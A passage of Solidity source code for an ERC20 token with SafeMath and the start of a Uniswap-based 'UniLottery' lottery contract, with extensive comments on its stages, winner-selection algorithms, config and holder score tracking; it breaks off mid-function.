* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a);//, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);//, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0);//, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0));
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
interface IUniswapPair is IERC20
{
// Addresses of the first and second pool-kens.
function token0() external view returns (address);
function token1() external view returns (address);
// Get the pair's token pool reserves.
function getReserves()
external view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
contract Lottery is ERC20, CoreUniLotterySettings
{
// ===================== Events ===================== //
// After initialize() function finishes.
event LotteryInitialized();
// Emitted when lottery active stage ends (Mining Stage starts),
// on Mining Stage Step 1, after transferring profits to their
// respective owners (pool and OWNER_ADDRESS).
event LotteryEnd(
uint128 totalReturn,
uint128 profitAmount
);
// Emitted when on final finish, we call Randomness Provider
// to callback us with random value.
event RandomnessProviderCalled();
// Requirements for finishing stage start have been reached -
// finishing stage has started.
event FinishingStageStarted();
// We were currently on the finishing stage, but some requirement
// is no longer met. We must stop the finishing stage.
event FinishingStageStopped();
// New Referral ID has been generated.
event ReferralIDGenerated(
address referrer,
uint256 id
);
// New referral has been registered with a valid referral ID.
event ReferralRegistered(
address referree,
address referrer,
uint256 id
);
// Fallback funds received.
event FallbackEtherReceiver(
address sender,
uint value
);
// ====================== Structs & Enums ====================== //
// Lottery Stages.
// Described in more detail above, on contract's main doc.
enum STAGE
{
// Initial stage - before the initialize() function is called.
INITIAL,
// Active Stage: On this stage, all token trading occurs.
ACTIVE,
// Finishing stage:
// This is when all finishing criteria are met, and for every
// transfer, we're rolling a pseudo-random number to determine
// if we should end the lottery (move to Ending stage).
FINISHING,
// Ending - Mining Stage:
// This stage starts after we lottery is no longer active,
// finishing stage ends. On this stage, Miners perform the
// Ending Algorithm and other operations.
ENDING_MINING,
// Lottery is completed - this is set after the Mining Stage ends.
// In this stage, Lottery Winners can claim their prizes.
COMPLETION,
// DISABLED stage. Used when we want a lottery contract to be
// absolutely disabled - so no state-modifying functions could
// be called.
// This is used in DelegateCall scenarios, where state-contract
// delegate-calls code contract, to save on deployment costs.
DISABLED
}
// Ending algorithm types enum.
enum EndingAlgoType
{
// 1. Mined Winner Selection Algorithm.
// This algorithm is executed by a Lottery Miner in a single
// transaction, on Mining Step 2.
//
// On that single transaction, all ending scores for all
// holders are computed, and a sorted winner array is formed,
// which is written onto the LotteryStorage state.
// Thus, it's gas expensive, and suitable only for small
// holder numbers (up to 300).
//
// Pros:
// + Guaranteed deterministically specifiable winner prize
// distribution - for example, if we specify that there
// must be 2 winners, of which first gets 60% of prize funds,
// and second gets 40% of prize funds, then it's
// guarateed that prize funds will be distributed just
// like that.
//
// + Low gas cost of prize claims - only ~ 40,000 gas for
// claiming a prize.
//
// Cons:
// - Not scaleable - as the Winner Selection Algorithm is
// executed in a single transaction, it's limited by
// block gas limit - 12,500,000 on the MainNet.
// Thus, the lottery is limited to ~300 holders, and
// max. ~200 winners of those holders.
// So, it's suitable for only express-lotteries, where
// a lottery runs only until ~300 holders are reached.
//
// - High mining costs - if lottery has 300 holders,
// mining transaction takes up whole block gas limit.
//
MinedWinnerSelection,
// 2. Winner Self-Validation Algorithm.
//
// This algorithm does no operations during the Mining Stage
// (except for setting up a Random Seed in Lottery Storage) -
// the winner selection (obtaining a winner rank) is done by
// the winners themselves, when calling the prize claim
// functions.
//
// This algorithm relies on a fact that by the time that
// random seed is obtained, all data needed for winner selection
// is already there - the holder scores of the Active Stage
// (ether contributed, time factors, token balance), and
// the Random Data (random seed + nonce (holder's address)),
// so, there is no need to compute and sort the scores for the
// whole holder array.
//
// It's done like this: the holder checks if he's a winner, using
// a view-function off-chain, and if so, he calls the
// claimWinnerPrize() function, which obtains his winner rank
// on O(n) time, and does no writing to contract states,
// except for prize transfer-related operations.
//
// When computing the winner's rank on LotteryStorage,
// O(n) time is needed, as we loop through the holders array,
// computing ending scores for each holder, using already-known
// data.
// However that means that for every prize claim, all scores of
// all holders must be re-computed.
// Computing a score for a single holder takes roughly 1500 gas
// (400 for 3 slots SLOAD, and ~300 for arithmetic operations).
//
// So, this algorithm makes prize claims more expensive for
// every lottery holder.
// If there's 1000 holders, prize claim takes up 1,500,000 gas,
// so, this algorithm is not suitable for small prizes,
// because gas fee would be higher than the prize amount won.
//
// Pros:
// + Guaranteed deterministically specifiable winner prize
// distribution (same as for algorithm 1).
//
// + No mining costs for winner selection algorithm.
//
// + More scalable than algorithm 1.
//
// Cons:
// - High gas costs of prize claiming, rising with the number
// of lottery holders - 1500 for every lottery holder.
// Thus, suitable for only large prize amounts.
//
WinnerSelfValidation,
// 3. Rolled-Randomness algorithm.
//
// This algorithm is the most cheapest in terms of gas, but
// the winner prize distribution is non-deterministic.
//
// This algorithm doesn't employ miners (no mining costs),
// and doesn't require to compute scores for every holder
// prior to getting a winner's rank, thus is the most scalable.
//
// It works like this: a holder checks his winner status by
// computing only his own randomized score (rolling a random
// number from the random seed, and multiplying it by holder's
// Active Stage score), and computing this randomized-score's
// ratio relative to maximum available randomized score.
// The higher the ratio, the higher the winner rank is.
//
// However, many players can roll very high or low scores, and
// get the same prizes, so it's difficult to make a fair and
// efficient deterministic prize distribution mechanism, so
// we have to fallback to specific heuristic workarounds.
//
// Pros:
// + Scalable: O(1) complexity for computing a winner rank,
// so there can be an unlimited amount of lottery holders,
// and gas costs for winner selection and prize claim would
// still be constant & low.
//
// + Gas-efficient: gas costs for all winner-related operations
// are constant and low, because only single holder's score
// is computed.
//
// + Doesn't require mining - even more gas savings.
//
// Cons:
// + Hard to make a deterministic and fair prize distribution
// mechanism, because of un-known environment - as only
// single holder's score is compared to max-available
// random score, not taking into account other holder
// scores.
//
RolledRandomness
}
/**
* Gas-efficient, minimal config, which specifies only basic,
* most-important and most-used settings.
*/
struct LotteryConfig
{
// ================ Misc Settings =============== //
// --------- Slot --------- //
// Initial lottery funds (initial market cap).
// Specified by pool, and is used to check if initial funds
// transferred to fallback are correct - equal to this value.
uint initialFunds;
// --------- Slot --------- //
// The minimum ETH value of lottery funds, that, once
// reached on an exchange liquidity pool (Uniswap, or our
// contract), must be guaranteed to not shrink below this value.
//
// This is accomplished in _transfer() function, by denying
// all sells that would drop the ETH amount in liquidity pool
// below this value.
//
// But on initial lottery stage, before this minimum requirement
// is reached for the first time, all sells are allowed.
//
// This value is expressed in ETH - total amount of ETH funds
// that we own in Uniswap liquidity pair.
//
// So, if initial funds were 10 ETH, and this is set to 100 ETH,
// after liquidity pool's ETH value reaches 100 ETH, all further
// sells which could drop the liquidity amount below 100 ETH,
// would be denied by require'ing in _transfer() function
// (transactions would be reverted).
//
uint128 fundRequirement_denySells;
// ETH value of our funds that we own in Uniswap Liquidity Pair,
// that's needed to start the Finishing Stage.
uint128 finishCriteria_minFunds;
// --------- Slot --------- //
// Maximum lifetime of a lottery - maximum amount of time
// allowed for lottery to stay active.
// By default, it's two weeks.
// If lottery is still active (hasn't returned funds) after this
// time, lottery will stop on the next token transfer.
uint32 maxLifetime;
// Maximum prize claiming time - for how long the winners
// may be able to claim their prizes after lottery ending.
uint32 prizeClaimTime;
// Token transfer burn rates for buyers, and a default rate for
// sells and non-buy-sell transfers.
uint32 burn_buyerRate;
uint32 burn_defaultRate;
// Maximum amount of tokens (in percentage of initial supply)
// to be allowed to own by a single wallet.
uint32 maxAmountForWallet_percentageOfSupply;
// The required amount of time that must pass after
// the request to Randomness Provider has been made, for
// external actors to be able to initiate alternative
// seed generation algorithm.
uint32 REQUIRED_TIME_WAITING_FOR_RANDOM_SEED;
// ================ Profit Shares =============== //
// "Mined Uniswap Lottery" ending Ether funds, which were obtained
// by removing token liquidity from Uniswap, are transfered to
// these recipient categories:
//
// 1. The Main Pool: Initial funds, plus Pool's profit share.
// 2. The Owner: Owner's profit share.
//
// 3. The Miners: Miner rewards for executing the winner
// selection algorithm stages.
// The more holders there are, the more stages the
// winner selection algorithm must undergo.
// Each Miner, who successfully completed an algorithm
// stage, will get ETH reward equal to:
// (minerProfitShare / totalAlgorithmStages).
//
// 4. The Lottery Winners: All remaining funds are given to
// Lottery Winners, which were determined by executing
// the Winner Selection Algorithm at the end of the lottery
// (Miners executed it).
// The Winners can claim their prizes by calling a
// dedicated function in our contract.
//
// The profit shares of #1 and #2 have controlled value ranges
// specified in CoreUniLotterySettings.
//
// All these shares are expressed as percentages of the
// lottery profit amount (totalReturn - initialFunds).
// Percentages are expressed using the PERCENT constant,
// defined in CoreUniLotterySettings.
//
// Here we specify profit shares of Pool, Owner, and the Miners.
// Winner Prize Fund is all that's left (must be more than 50%
// of all profits).
//
uint32 poolProfitShare;
uint32 ownerProfitShare;
// --------- Slot --------- //
uint32 minerProfitShare;
// =========== Lottery Finish criteria =========== //
// Lottery finish by design is a whole soft stage, that
// starts when criteria for holders and fund gains are met.
// During this stage, for every token transfer, a pseudo-random
// number will be rolled for lottery finish, with increasing
// probability.
//
// There are 2 ways that this probability increase is
// implemented:
// 1. Increasing on every new holder.
// 2. Increasing on every transaction after finish stage
// was initiated.
//
// On every new holder, probability increases more than on
// new transactions.
//
// However, if during this stage some criteria become
// no-longer-met, the finish stage is cancelled.
// This cancel can be implemented by setting finish probability
// to zero, or leaving it as it was, but pausing the finishing
// stage.
// This is controlled by finish_resetProbabilityOnStop flag -
// if not set, probability stays the same, when the finishing
// stage is discontinued.
// ETH value of our funds that we own in Uniswap Liquidity Pair,
// that's needed to start the Finishing Stage.
//
// LOOK ABOVE - arranged for tight-packing.
// Minimum number of token holders required to start the
// finishing stage.
uint32 finishCriteria_minNumberOfHolders;
// Minimum amount of time that lottery must be active.
uint32 finishCriteria_minTimeActive;
// Initial finish probability, when finishing stage was
// just initiated.
uint32 finish_initialProbability;
// Finishing probability increase steps, for every new
// transaction and every new holder.
// If holder number decreases, probability decreases.
uint32 finish_probabilityIncreaseStep_transaction;
uint32 finish_probabilityIncreaseStep_holder;
// =========== Winner selection config =========== //
// Winner selection algorithm settings.
//
// Algorithm is based on score, which is calculated for
// every holder on lottery finish, and is comprised of
// the following parts.
// Each part is normalized to range ( 0 - scorePoints ),
// from smallest to largest value of each holder;
//
// After scores are computed, they are multiplied by
// holder count factor (holderCount / holderCountDivisor),
// and finally, multiplied by safely-generated random values,
// to get end winning scores.
// The top scorers win prizes.
//
// By default setting, max score is 40 points, and it's
// comprised of the following parts:
//
// 1. Ether contributed (when buying from Uniswap or contract).
// Gets added when buying, and subtracted when selling.
// Default: 10 points.
//
// 2. Amount of lottery tokens holder has on finish.
// Default: 5 points.
//
// 3. Ether contributed, multiplied by the relative factor
// of time - that is, "now" minus "lotteryStartTime".
// This way, late buyers can get more points even if
// they get little tokens and don't spend much ether.
// Default: 5 points.
//
// 4. Refferrer bonus. For every player that joined with
// your referral ID, you get (that player's score) / 10
// points! This goes up to specified max score.
// Also, every player who provides a valid referral ID,
// gets 2 points for free!
// Default max bonus: 20 points.
//
int16 maxPlayerScore_etherContributed;
int16 maxPlayerScore_tokenHoldingAmount;
int16 maxPlayerScore_timeFactor;
int16 maxPlayerScore_refferalBonus;
// --------- Slot --------- //
// Score-To-Random ration data (as a rational ratio number).
// For example if 1:5, then scorePart = 1, and randPart = 5.
uint16 randRatio_scorePart;
uint16 randRatio_randPart;
// Time factor divisor - interval of time, in seconds, after
// which time factor is increased by one.
uint16 timeFactorDivisor;
// Bonus score a player should get when registering a valid
// referral code obtained from a referrer.
int16 playerScore_referralRegisteringBonus;
// Are we resetting finish probability when finishing stage
// stops, if some criteria are no longer met?
bool finish_resetProbabilityOnStop;
// =========== Winner Prize Fund Settings =========== //
// There are 2 available modes that we can use to distribute
// winnings: a computable sequence (geometrical progression),
// or an array of winner prize fund share percentages.
// More gas efficient is to use a computable sequence,
// where each winner gets a share equal to (factor * fundsLeft).
// Factor is in range [0.01 - 1.00] - simulated as [1% - 100%].
//
// For example:
// Winner prize fund is 100 ethers, Factor is 1/4 (25%), and
// there are 5 winners total (winnerCount), and sequenced winner
// count is 2 (sequencedWinnerCount).
//
// So, we pre-compute the upper shares, till we arrive to the
// sequenced winner count, in a loop:
// - Winner 1: 0.25 * 100 = 25 eth; 100 - 25 = 75 eth left.
// - Winner 2: 0.25 * 75 ~= 19 eth; 75 - 19 = 56 eth left.
//
// Now, we compute the left-over winner shares, which are
// winners that get their prizes from the funds left after the
// sequence winners.
//
// So, we just divide the leftover funds (56 eth), by 3,
// because winnerCount - sequencedWinnerCount = 3.
// - Winner 3 = 56 / 3 = 18 eth;
// - Winner 4 = 56 / 3 = 18 eth;
// - Winner 5 = 56 / 3 = 18 eth;
//
// If this value is 0, then we'll assume that array-mode is
// to be used.
uint32 prizeSequenceFactor;
// Maximum number of winners that the prize sequence can yield,
// plus the leftover winners, which will get equal shares of
// the remainder from the first-prize sequence.
uint16 prizeSequence_winnerCount;
// How many winners would get sequence-computed prizes.
// The left-over winners
// This is needed because prizes in sequence tend to zero, so
// we need to limit the sequence to avoid very small prizes,
// and to avoid the remainder.
uint16 prizeSequence_sequencedWinnerCount;
// Initial token supply (without decimals).
uint48 initialTokenSupply;
// Ending Algorithm type.
// More about the 3 algorithm types above.
uint8 endingAlgoType;
// --------- Slot --------- //
// Array mode: The winner profit share percentages array.
// For example, lottery profits can be distributed this way:
//
// Winner profit shares (8 winners):
// [ 20%, 15%, 10%, 5%, 4%, 3%, 2%, 1% ] = 60% of profits.
// Owner profits: 10%
// Pool profits: 30%
//
// Pool profit share is not defined explicitly in the config, so
// when we internally validate specified profit shares, we
// assume the pool share to be the left amount until 100% ,
// but we also make sure that this amount is at least equal to
// MIN_POOL_PROFITS, defined in CoreSettings.
//
uint32[] winnerProfitShares;
}
// ========================= Constants ========================= //
// The Miner Profits - max/min values.
// These aren't defined in Core Settings, because Miner Profits
// are only specific to this lottery type.
uint32 constant MIN_MINER_PROFITS = 1 * PERCENT;
uint32 constant MAX_MINER_PROFITS = 10 * PERCENT;
// Uniswap Router V2 contract instance.
// Address is the same for MainNet, and all public testnets.
IUniswapRouter constant uniswapRouter = IUniswapRouter(
address( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ) );
// Public-accessible ERC20 token specific constants.
string constant public name = "UniLottery Token";
string constant public symbol = "ULT";
uint256 constant public decimals = 18;
// =================== State Variables =================== //
// ------- Initial Slots ------- //
// The config which is passed to constructor.
LotteryConfig internal cfg;
// ------- Slot ------- //
// The Lottery Storage contract, which stores all holder data,
// such as scores, referral tree data, etc.
LotteryStorage public lotStorage;
// ------- Slot ------- //
// Pool address. Set on constructor from msg.sender.
address payable public poolAddress;
// ------- Slot ------- //
// Randomness Provider address.
address public randomnessProvider;
// ------- Slot ------- //
// Exchange address. In Uniswap mode, it's the Uniswap liquidity
// pair's address, where trades execute.
address public exchangeAddress;
// Start date.
uint32 public startDate;
// Completion (Mining Phase End) date.
uint32 public completionDate;
// The date when Randomness Provider was called, requesting a
// random seed for the lottery finish.
// Also, when this variable becomes Non-Zero, it indicates that we're
// on Ending Stage Part One: waiting for the random seed.
uint32 finish_timeRandomSeedRequested;
// ------- Slot ------- //
// WETH address. Set by calling Router's getter, on constructor.
address WETHaddress;
// Is the WETH first or second token in our Uniswap Pair?
bool uniswap_ethFirst;
// If we are, or were before, on finishing stage, this is the
// probability of lottery going to Ending Stage on this transaction.
uint32 finishProbablity;
// Re-Entrancy Lock (Mutex).
// We protect for reentrancy in the Fund Transfer functions.
bool reEntrancyMutexLocked;
// On which stage we are currently.
uint8 public lotteryStage;
// Indicator for whether the lottery fund gains have passed a
// minimum fund gain requirement.
// After that time point (when this bool is set), the token sells
// which could drop the fund value below the requirement, would
// be denied.
bool fundGainRequirementReached;
// The current step of the Mining Stage.
uint16 miningStep;
// If we're currently on Special Transfer Mode - that is, we allow
// direct transfers between parties even in NON-ACTIVE state.
bool specialTransferModeEnabled;
// ------- Slot ------- //
// Per-Transaction Pseudo-Random hash value (transferHashValue).
// This value is computed on every token transfer, by keccak'ing
// the last (current) transferHashValue, msg.sender, now, and
// transaction count.
//
// This is used on Finishing Stage, as a pseudo-random number,
// which is used to check if we should end the lottery (move to
// Ending Stage).
uint256 transferHashValue;
// ------- Slot ------- //
// On lottery end, get & store the lottery total ETH return
// (including initial funds), and profit amount.
uint128 public ending_totalReturn;
uint128 public ending_profitAmount;
// ------- Slot ------- //
// The mapping that contains TRUE for addresses that already claimed
// their lottery winner prizes.
// Used only in COMPLETION, on claimWinnerPrize(), to check if
// msg.sender has already claimed his prize.
mapping( address => bool ) public prizeClaimersAddresses;
// ============= Private/internal functions ============= //
// Pool Only modifier.
modifier poolOnly {
require( msg.sender == poolAddress );
_;
}
// Only randomness provider allowed modifier.
modifier randomnessProviderOnly {
require( msg.sender == randomnessProvider );
_;
}
// Execute function only on specific lottery stage.
modifier onlyOnStage( STAGE _stage )
{
require( lotteryStage == uint8( _stage ) );
_;
}
// Modifier for protecting the function from re-entrant calls,
// by using a locked Re-Entrancy Lock (Mutex).
modifier mutexLOCKED
{
require( ! reEntrancyMutexLocked );
reEntrancyMutexLocked = true;
_;
reEntrancyMutexLocked = false;
}
// Check if we're currently on a specific stage.
function onStage( STAGE _stage )
internal view
returns( bool )
{
return ( lotteryStage == uint8( _stage ) );
}
/**
* Check if token transfer to specific wallet won't exceed
* maximum token amount allowed to own by a single wallet.
*
* @return true, if holder's balance with "amount" added,
* would exceed the max allowed single holder's balance
* (by default, that is 5% of total supply).
*/
function transferExceedsMaxBalance(
address holder, uint amount )
internal view
returns( bool )
{
uint maxAllowedBalance =
( totalSupply() * cfg.maxAmountForWallet_percentageOfSupply ) /
( _100PERCENT );
return ( ( balanceOf( holder ) + amount ) > maxAllowedBalance );
}
/**
* Update holder data.
* This function is called by _transfer() function, just before
* transfering final amount of tokens directly from sender to
* receiver.
* At this point, all burns/mints have been done, and we're sure
* that this transfer is valid and must be successful.
*
* In all modes, this function is used to update the holder array.
*
* However, on external exchange modes (e.g. on Uniswap mode),
* it is also used to track buy/sell ether value, to update holder
* scores, when token buys/sells cannot be tracked directly.
*
* If, however, we use Standalone mode, we are the exchange,
* so on _transfer() we already know the ether value, which is
* set to currentBuySellEtherValue variable.
*
* @param amountSent - the token amount that is deducted from
* sender's balance. This includes burn, and owner fee.
*
* @param amountReceived - the token amount that receiver
* actually receives, after burns and fees.
*
* @return holderCountChanged - indicates whether holder count
* changes during this transfer - new holder joins or leaves
* (true), or no change occurs (false).
*/
function updateHolderData_preTransfer(
address sender,
address receiver,
uint256 amountSent,
uint256 amountReceived )
internal
returns( bool holderCountChanged )
{
// Update holder array, if new token holder joined, or if
// a holder transfered his whole balance.
holderCountChanged = false;
// Sender transferred his whole balance - no longer a holder.
if( balanceOf( sender ) == amountSent )
{
lotStorage.removeHolder( sender );
holderCountChanged = true;
}
// Receiver didn't have any tokens before - add it to holders.
if( balanceOf( receiver ) == 0 && amountReceived > 0 )
{
lotStorage.addHolder( receiver );
holderCountChanged = true;
}
// Update holder score factors: if buy/sell occured, update
// etherContributed and timeFactors scores,
// and also propagate the scores through the referral chain
// to the parent referrers (this is done in Storage contract).
// This lottery operates only on external exchange (Uniswap)
// mode, so we have to find out the buy/sell Ether value by
// calling the external exchange (Uniswap pair) contract.
// Temporary variable to store current transfer's buy/sell
// value in Ethers.
int buySellValue;
// Sender is an exchange - buy detected.
if( sender == exchangeAddress && receiver != exchangeAddress )
{
// Use the Router's functionality.
// Set the exchange path to WETH -> ULT
// (ULT is Lottery Token, and it's address is our address).
address[] memory path = new address[]( 2 );
path[ 0 ] = WETHaddress;
path[ 1 ] = address(this);
uint[] memory ethAmountIn = uniswapRouter.getAmountsIn(
amountSent, // uint amountOut,
path // address[] path
);
buySellValue = int( ethAmountIn[ 0 ] );
// Compute time factor value for the current ether value.
// buySellValue is POSITIVE.
// When computing Time Factors, leave only 6 ether decimals.
int timeFactorValue = ( buySellValue / (10 ** 12) ) *
int( (now - startDate) / cfg.timeFactorDivisor );
// Update and propagate the buyer (receiver) scores.
lotStorage.updateAndPropagateScoreChanges(
receiver,
int80( buySellValue ),
int80( timeFactorValue ),
int80( amountReceived ) );
}
// Receiver is an exchange - sell detected.
else if( sender != exchangeAddress && receiver == exchangeAddress )
{
// Use the Router's functionality.
// Set the exchange path to ULT -> WETH
// (ULT is Lottery Token, and it's address is our address).
address[] memory path = new address[]( 2 );
path[ 0 ] = address(this);
path[ 1 ] = WETHaddress;
uint[] memory ethAmountOut = uniswapRouter.getAmountsOut(
amountReceived, // uint amountIn
path // address[] path
);
// It's a sell (ULT -> WETH), so set value to NEGATIVE.
buySellValue = int( -1 ) * int( ethAmountOut[ 1 ] );
// Compute time factor value for the current ether value.
// buySellValue is NEGATIVE.
int timeFactorValue = ( buySellValue / (10 ** 12) ) *
int( (now - startDate) / cfg.timeFactorDivisor );
// Update and propagate the seller (sender) scores.
lotStorage.updateAndPropagateScoreChanges(
sender,
int80( buySellValue ),
int80( timeFactorValue ),
-1 * int80( amountSent ) );
}
// Neither Sender nor Receiver are exchanges - default transfer.
// Tokens just got transfered between wallets, without
// exchanging for ETH - so etherContributed_change = 0.
// On this case, update both sender's & receiver's scores.
//
else {
buySellValue = 0;
lotStorage.updateAndPropagateScoreChanges( sender, 0, 0,
-1 * int80( amountSent ) );
lotStorage.updateAndPropagateScoreChanges( receiver, 0, 0,
int80( amountReceived ) );
}
// Check if lottery liquidity pool funds have already
// reached a minimum required ETH value.
uint ethFunds = getCurrentEthFunds();
if( !fundGainRequirementReached &&
ethFunds >= cfg.fundRequirement_denySells )
{
fundGainRequirementReached = true;
}
// Check whether this token transfer is allowed if it's a sell
